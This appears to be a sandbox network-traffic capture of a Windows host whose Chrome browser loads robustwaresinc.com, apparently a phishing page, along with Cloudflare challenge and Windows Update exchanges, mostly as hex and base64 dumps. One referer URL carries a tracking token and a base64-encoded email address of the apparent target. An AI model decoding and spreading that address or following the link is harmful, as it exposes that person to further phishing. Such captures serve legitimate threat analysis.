2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 57 47 6c 33 68 73 6e 71 57 46 6f 37 53 4b 69 58 56 78 6b 6e 65 6e 74 4c 57 62 73 4b 47 38 76 70 4f 46 6f 36 47 6b 77 4b 65 6f 67 36 69 6c 68 61 7a 4e 72 61 44 4a 6c 4d 57 6e 73 38 36 76 74 62 57 50 30 61 32 38 6e 35 76 69 77 73 57 69 34 64 4c 46 71 72 33 48 37 61 72 71 35 4b 72 44 79 4b 33 54 31 2f 58 56 31 72 61 35 74 74 75 36 2b 50 48 64 76 74 62 6c 37 64 50 58 76 76 73 4b 35 4f 44 63 41 39 37 38 42 66 48 63 38 4f 2f 72 35 41 48 79 46 74 67 5a 37 41 76 78 2b 77 4d 54 41 52 6e 65 37 2b 49 49 48 41 41 73 44 75 77 69 2f 51 33 76 45 43 41 68 37 52 55 42 49 51 2f 32 45 42 6b 5a 43 50 73 77 2b 7a 6f 68 2f 53 35 45 47 6b 41 39 53 68 59 73 42 30 5a 4e 43 43 38 30 48 30 77 31 45 30 46 45 4f 69 68 53 46 31 42 65 4f 54 55 78 56 7a 4e 52 57 55 59 34 53 43 52 42 4e Data Ascii: WGl3hsnqWFo7SKiXVxknentLWbsKG8vpOFo6GkwKeog6ilhazNraDJlMWns86vtbWP0a28n5viwsWi4dLFqr3H7arq5KrDyK3T1/XV1ra5ttu6+PHdvtbl7dPXvvsK5ODcA978BfHc8O/r5AHyFtgZ7Avx+wMTARne7+IIHAAsDuwi/Q3vECAh7RUBIQ/2EBkZCPsw+zoh/S5EGkA9ShYsB0ZNCC80H0w1E0FEOihSF1BeOTUxVzNRWUY4SCRBN
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 70 6e 49 65 58 64 34 2b 31 64 33 56 37 70 72 61 71 69 33 71 2f 73 37 71 66 6d 6f 56 36 6c 38 6d 69 6c 4a 32 41 30 4b 57 51 70 71 62 54 30 38 2b 4e 6f 38 50 62 72 64 72 54 33 61 37 52 74 64 2b 79 73 63 2b 68 77 4c 6a 61 78 4b 75 6d 76 64 62 61 79 75 58 6d 38 4d 65 78 30 4c 62 57 2b 4d 6e 72 38 38 71 77 38 62 76 42 77 66 48 33 37 2b 2f 39 77 39 38 47 2f 63 7a 75 2f 63 72 38 33 38 77 53 43 74 48 67 46 77 73 50 47 76 72 76 39 52 6f 62 37 53 4d 4c 36 2f 33 30 38 68 6f 66 2b 77 59 6c 42 2f 30 4f 49 51 4d 54 41 68 77 54 39 4f 67 47 4b 52 49 6a 39 44 67 5a 4d 7a 59 79 48 51 41 30 41 7a 38 57 4e 6a 34 58 4f 78 30 56 48 79 55 65 4a 68 41 6c 45 41 31 56 4e 6b 63 6f 56 69 56 49 50 56 34 76 48 43 45 78 4e 6b 31 50 49 55 63 69 56 30 42 45 52 6d 6c 5a 57 55 31 52 63 6c Data Ascii: pnIeXd4+1d3V7praqi3q/s7qfmoV6l8milJ2A0KWQpqbT08+No8PbrdrT3a7Rtd+ysc+hwLjaxKumvdbayuXm8Mex0LbW+Mnr88qw8bvBwfH37+/9w98G/czu/cr838wSCtHgFwsPGvrv9Rob7SML6/308hof+wYlB/0OIQMTAhwT9OgGKRIj9DgZMzYyHQA0Az8WNj4XOx0VHyUeJhAlEA1VNkcoViVIPV4vHCExNk1PIUciV0BERmlZWU1Rcl
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 6b 6f 32 32 6b 4c 36 36 65 6e 75 50 73 70 48 46 74 72 4f 33 68 71 71 49 75 59 7a 47 6e 37 36 4a 72 36 53 4d 76 38 69 56 72 4d 4f 36 76 4b 37 61 33 74 71 71 33 37 43 65 75 4e 37 43 6f 4e 33 70 79 75 44 4a 36 4f 65 6f 77 4d 7a 6a 31 4e 44 41 72 72 54 45 34 2b 72 51 39 76 4c 78 39 4f 72 41 2b 4f 44 54 41 39 43 2b 35 41 6b 42 41 4e 37 35 79 51 6e 4d 41 63 6a 4d 78 75 38 43 39 73 2f 69 44 78 55 64 46 67 41 4b 2b 4e 6e 69 48 42 44 2b 38 77 59 42 41 41 6a 64 43 77 48 6d 4c 42 6e 39 36 67 6f 50 35 2b 34 4f 45 2f 62 79 45 68 66 32 48 53 38 62 47 66 34 59 49 53 45 51 42 44 67 45 51 69 6b 4d 51 45 6f 76 53 6a 6f 54 52 41 77 33 51 69 73 76 51 6b 59 5a 4e 7a 35 4b 51 52 35 43 54 6b 77 35 4e 69 39 49 53 6c 5a 62 4f 45 59 6d 59 6a 30 76 57 7a 38 2b 64 57 46 57 53 55 39 Data Ascii: ko22kL66enuPspHFtrO3hqqIuYzGn76Jr6SMv8iVrMO6vK7a3tqq37CeuN7CoN3pyuDJ6OeowMzj1NDArrTE4+rQ9vLx9OrA+ODTA9C+5AkBAN75yQnMAcjMxu8C9s/iDxUdFgAK+NniHBD+8wYBAAjdCwHmLBn96goP5+4OE/byEhf2HS8bGf4YISEQBDgEQikMQEovSjoTRAw3QisvQkYZNz5KQR5CTkw5Ni9ISlZbOEYmYj0vWz8+dWFWSU9
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 4b 71 2f 76 37 36 41 68 62 47 5a 65 38 58 47 69 5a 2b 35 76 37 47 44 78 38 79 6b 6b 72 2f 52 71 72 50 48 31 74 79 6e 31 61 72 4e 32 62 6d 35 74 4b 47 75 34 74 32 36 32 4c 6a 44 76 73 32 33 34 65 33 48 76 63 53 6e 7a 4f 6e 43 74 38 76 34 74 73 7a 32 38 66 6a 4d 33 64 67 44 31 74 2b 2b 41 76 62 68 2b 4f 6a 2b 33 4f 76 68 34 73 7a 53 43 65 4d 47 46 41 76 52 36 2b 38 46 2b 51 44 36 34 50 37 65 34 52 6f 45 34 69 45 43 45 76 66 37 34 69 41 75 43 51 55 42 4a 77 4d 68 4b 52 59 71 45 76 45 33 4d 79 7a 31 4f 44 63 77 2b 54 30 37 4e 50 30 2b 2b 54 38 65 50 6a 5a 43 4c 6b 55 6d 53 79 38 75 4c 41 77 75 4b 56 67 57 4c 79 6f 5a 55 31 74 52 4b 46 49 79 48 56 30 31 52 7a 6c 43 61 6d 6c 41 53 6b 42 6b 62 55 68 5a 50 6b 55 72 52 30 64 42 4e 44 49 77 4f 44 6c 4c 61 33 77 2f Data Ascii: Kq/v76AhbGZe8XGiZ+5v7GDx8ykkr/RqrPH1tyn1arN2bm5tKGu4t262LjDvs234e3HvcSnzOnCt8v4tsz28fjM3dgD1t++Avbh+Oj+3Ovh4szSCeMGFAvR6+8F+QD64P7e4RoE4iECEvf74iAuCQUBJwMhKRYqEvE3Myz1ODcw+T07NP0++T8ePjZCLkUmSy8uLAwuKVgWLyoZU1tRKFIyHV01RzlCamlASkBkbUhZPkUrR0dBNDIwODlLa3w/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49737	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:40 UTC	826	OUT	GET /favicon.ico HTTP/1.1 Host: robustwaresinc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
2024-11-21 13:44:40 UTC	122	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Nov 2024 13:44:40 GMT Connection: close Transfer-Encoding: chunked
2024-11-21 13:44:40 UTC	33	IN	Data Raw: 31 36 0d 0a 3c 68 31 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 68 31 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16<h1>Access Denied</h1>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49740	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:42 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:43 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Nov 2024 13:44:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: Byl3UvCQUq8kNoK1j7waohuKzi5n3PD2cRw=$WscAU9zfrWC0W2Qs Server: cloudflare CF-RAY: 8e611db3f8b67279-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:43 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49741	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:42 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8e611d89ebaa43cf/1732196680337/ad45d54012d674851f9503b1966de446ee693528b3a461cb4509d56d0e7d958c/GlR4mQ8jn4h0ySM HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:43 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Nov 2024 13:44:42 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-11-21 13:44:43 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 72 55 58 56 51 42 4c 57 64 49 55 66 6c 51 4f 78 6c 6d 33 6b 52 75 35 70 4e 53 69 7a 70 47 48 4c 52 51 6e 56 62 51 35 39 6c 59 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20grUXVQBLWdIUflQOxlm3kRu5pNSizpGHLRQnVbQ59lYwAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-11-21 13:44:43 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49742	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:44 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8e611d89ebaa43cf/1732196680340/RJ79sfLZiDrchgI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:45 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:45 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e611dc148340f67-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4f 00 00 00 5e 08 02 00 00 00 ed dc de ef 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRO^IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49743	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:45 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NhKoT3UZsUvpXtf&MD=ab3+FrUs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 13:44:46 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 05a8b115-e7d2-40cd-b8e5-4475a5820040 MS-RequestId: 25cf851a-0257-4745-8879-84efe066f0a3 MS-CV: GFt3HkoiSEuwqzG9.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 13:44:45 GMT Connection: close Content-Length: 30005
2024-11-21 13:44:46 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 13:44:46 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49744	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:46 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8e611d89ebaa43cf/1732196680340/RJ79sfLZiDrchgI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:46 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:46 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e611dcc3fbec332-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:46 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4f 00 00 00 5e 08 02 00 00 00 ed dc de ef 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRO^IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49745	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:46 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32399 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:46 UTC	16384	OUT	Data Raw: 76 5f 38 65 36 31 31 64 38 39 65 62 61 61 34 33 63 66 3d 65 74 76 71 79 63 75 4f 73 54 73 49 73 75 51 75 70 47 61 47 55 33 32 75 6a 47 77 71 67 59 63 51 75 48 47 67 77 59 75 32 75 55 47 36 72 77 6d 76 4b 36 46 47 31 47 63 59 32 6b 75 67 32 47 4b 64 47 75 37 47 6e 37 68 59 75 53 47 47 46 38 47 52 34 62 69 58 59 47 4e 59 66 43 47 65 43 76 41 76 76 67 59 33 39 47 64 71 47 51 51 4b 37 47 66 38 68 6c 75 59 33 4f 37 47 70 68 66 37 51 75 52 4d 6b 75 64 33 43 59 63 37 51 51 53 54 71 75 56 47 43 77 62 47 24 54 47 33 68 47 55 67 51 25 32 62 62 36 6e 68 47 53 68 50 49 47 75 54 76 69 53 79 74 6d 6e 77 49 38 44 66 59 57 4a 73 4f 7a 53 53 57 6c 71 47 65 67 59 47 24 78 4a 63 37 51 61 68 47 54 48 61 69 55 66 46 57 47 69 49 43 45 39 61 69 61 24 38 4b 2b 2b 4c 58 68 69 68 Data Ascii: v_8e611d89ebaa43cf=etvqycuOsTsIsuQupGaGU32ujGwqgYcQuHGgwYu2uUG6rwmvK6FG1GcY2kug2GKdGu7Gn7hYuSGGF8GR4biXYGNYfCGeCvAvvgY39GdqGQQK7Gf8hluY3O7Gphf7QuRMkud3CYc7QQSTquVGCwbG$TG3hGUgQ%2bb6nhGShPIGuTviSytmnwI8DfYWJsOzSSWlqGegYG$xJc7QahGTHaiUfFWGiICE9aia$8K++LXhih
2024-11-21 13:44:46 UTC	16015	OUT	Data Raw: 50 47 55 62 75 47 75 72 75 70 47 70 71 66 68 44 4e 75 4f 75 48 76 34 47 79 76 76 71 47 58 75 43 66 65 50 72 71 75 35 47 70 30 4b 32 47 77 47 78 68 75 47 47 36 47 65 59 6d 51 75 6d 47 6a 47 66 4c 64 66 47 38 68 66 37 47 4c 59 66 68 47 37 75 61 47 67 68 32 4f 75 52 47 65 68 32 58 75 54 47 44 44 66 75 71 2b 59 65 47 24 32 47 76 47 75 2d 46 6a 75 73 47 36 2d 4d 59 75 6b 47 6a 47 24 69 75 56 47 44 47 32 32 75 43 47 55 2b 64 59 47 4f 47 53 59 4b 6b 75 43 47 6a 74 75 4f 75 49 47 43 71 4b 6b 47 68 47 71 59 47 71 63 53 47 70 59 32 54 41 34 47 65 59 47 6b 47 56 47 36 68 47 54 47 79 47 49 47 75 56 75 6b 47 4d 68 47 6f 47 52 47 7a 58 41 68 63 33 68 70 47 44 45 71 24 2d 78 54 33 71 47 78 2d 49 71 54 6b 47 34 47 36 71 55 62 75 43 47 6c 59 24 76 47 51 47 55 58 63 51 75 Data Ascii: PGUbuGurupGpqfhDNuOuHv4GyvvqGXuCfePrqu5Gp0K2GwGxhuGG6GeYmQumGjGfLdfG8hf7GLYfhG7uaGgh2OuRGeh2XuTGDDfuq+YeG$2GvGu-FjusG6-MYukGjG$iuVGDG22uCGU+dYGOGSYKkuCGjtuOuIGCqKkGhGqYGqcSGpY2TA4GeYGkGVG6hGTGyGIGuVukGMhGoGRGzXAhc3hpGDEq$-xT3qGx-IqTkG4G6qUbuCGlY$vGQGUXcQu
2024-11-21 13:44:47 UTC	330	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:47 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26344 Connection: close cf-chl-gen: 5MdEaMMtUW4VDvLpnqb9ieJ+LdXFg/MRgm/9HfrEuOfobtATHXkLabyv10engMDpT/Wj4tHvPi8Sk9rf$PxBH2HJEtYY1D5VI Server: cloudflare CF-RAY: 8e611dcd7c950f3a-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:47 UTC	1039	IN	Data Raw: 6c 4c 79 52 6b 4c 6c 38 6f 4b 32 6b 75 72 61 7a 74 4b 69 4a 6d 61 61 64 71 61 48 49 75 71 57 6c 7a 4c 36 68 77 73 6d 37 7a 35 66 59 73 4e 58 4f 31 72 50 4f 33 38 43 79 6f 37 66 42 32 39 37 47 71 36 66 74 72 4f 4c 44 77 63 6e 68 73 73 33 4c 36 2b 2f 37 78 74 66 34 41 66 50 55 38 38 2f 2b 31 67 66 58 33 50 72 63 36 38 6a 72 78 77 76 49 33 2f 44 6c 35 2b 44 67 41 4d 37 57 42 68 33 34 46 50 54 78 2f 75 7a 73 45 66 6e 64 45 53 44 6c 34 41 7a 68 48 53 45 48 4c 68 72 72 48 7a 45 66 4d 77 34 6c 4f 76 62 77 43 79 62 33 46 52 49 68 44 51 30 6a 48 77 55 7a 53 55 49 6f 51 53 67 6e 47 6a 70 4b 51 53 42 42 50 6c 42 42 53 44 45 59 4d 45 38 78 4b 78 73 2b 4f 53 78 55 51 32 51 32 57 56 35 55 50 57 45 38 4e 6b 52 64 54 6d 64 41 57 30 35 52 4c 43 78 4b 63 57 64 70 63 33 64 Data Ascii: lLyRkLl8oK2kuraztKiJmaadqaHIuqWlzL6hwsm7z5fYsNXO1rPO38Cyo7fB297Gq6ftrOLDwcnhss3L6+/7xtf4AfPU88/+1gfX3Prc68jrxwvI3/Dl5+DgAM7WBh34FPTx/uzsEfndESDl4AzhHSEHLhrrHzEfMw4lOvbwCyb3FRIhDQ0jHwUzSUIoQSgnGjpKQSBBPlBBSDEYME8xKxs+OSxUQ2Q2WV5UPWE8NkRdTmdAW05RLCxKcWdpc3d
2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 39 71 4d 79 38 70 70 79 2f 30 4b 2b 65 69 35 4f 32 78 74 4f 69 73 4d 79 6c 30 4c 65 72 6f 62 57 64 7a 75 47 30 31 75 54 62 6f 72 7a 41 31 63 72 51 79 37 48 50 72 37 4c 71 31 4c 50 78 30 75 4c 49 7a 4c 50 77 2f 74 6e 56 30 66 66 54 38 66 6e 6d 31 38 59 41 38 2b 41 4a 37 4e 72 72 43 73 7a 39 43 73 7a 69 38 4e 58 72 36 76 55 4f 37 77 72 37 2f 75 33 65 48 41 2f 2b 4b 4f 45 45 4a 79 6a 30 42 67 63 41 36 65 38 6d 41 53 50 73 4b 4f 34 4a 43 42 6f 6b 4c 78 58 31 4e 44 38 77 43 68 41 34 4f 6a 49 36 4a 79 41 44 50 54 51 4d 51 53 73 62 55 6b 6f 4e 50 69 70 50 45 43 6b 53 54 44 4a 50 52 56 49 2b 59 42 4d 30 57 54 64 52 4e 6c 46 67 4a 55 6b 38 59 7a 39 64 4f 48 42 67 4d 56 31 54 56 6b 6c 46 52 32 31 51 55 33 55 36 64 48 78 33 53 58 52 74 59 31 31 76 64 6e 5a 62 61 6b Data Ascii: 9qMy8ppy/0K+ei5O2xtOisMyl0LerobWdzuG01uTborzA1crQy7HPr7Lq1LPx0uLIzLPw/tnV0ffT8fnm18YA8+AJ7NrrCsz9Cszi8NXr6vUO7wr7/u3eHA/+KOEEJyj0BgcA6e8mASPsKO4JCBokLxX1ND8wChA4OjI6JyADPTQMQSsbUkoNPipPECkSTDJPRVI+YBM0WTdRNlFgJUk8Yz9dOHBgMV1TVklFR21QU3U6dHx3SXRtY11vdnZbak
